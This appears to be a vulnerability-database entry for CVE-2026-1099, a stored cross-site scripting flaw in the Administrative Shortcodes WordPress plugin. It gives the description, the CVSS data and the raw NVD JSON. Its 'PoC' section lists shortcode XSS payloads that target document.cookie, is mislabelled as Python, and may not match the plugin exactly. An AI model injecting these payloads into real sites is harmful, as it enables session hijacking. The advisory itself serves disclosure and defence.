Security Vulnerability Report
中文
CVE-2026-1099 CVSS 6.4 MEDIUM

CVE-2026-1099

Published: 2026-01-24 08:16:09
Last Modified: 2026-04-15 00:35:42

Description

The Administrative Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'login' and 'logout' shortcode attributes in all versions up to, and including, 0.3.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Administrative Shortcodes plugin for WordPress <= 0.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Administrative Shortcodes Plugin XSS PoC --> <!-- Attacker with Contributor+ role can inject malicious shortcode --> <!-- Login shortcode XSS payload --> [admin_shortcode_login user='" onfocus="alert(document.cookie)" autofocus="' ] <!-- Logout shortcode XSS payload --> [admin_shortcode_logout redirect='javascript:alert(document.cookie)'] <!-- Alternative payload with img tag --> [admin_shortcode_login user='"><img src=x onerror=alert(1)>'] <!-- Stored XSS via shortcode - script executes when page is viewed --> <!-- This allows session hijacking, credential theft, etc. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1099", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:09.177", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Administrative Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'login' and 'logout' shortcode attributes in all versions up to, and including, 0.3.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Administrative Shortcodes para WordPress es vulnerable a cross-site scripting almacenado a través de los atributos de shortcode 'login' y 'logout' en todas las versiones hasta la 0.3.4, inclusive, debido a una sanitización de entrada insuficiente y un escape de salida deficiente. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/administrative-shortcodes/tags/0.3.4/administrative-shortcodes.php#L196", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/administrative-shortcodes/trunk/administrative-shortcodes.php#L196", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/de931a65-c898-4b1d-99ce-20dd646bcbb0?source=cve", "source": "[email protected]"}]}}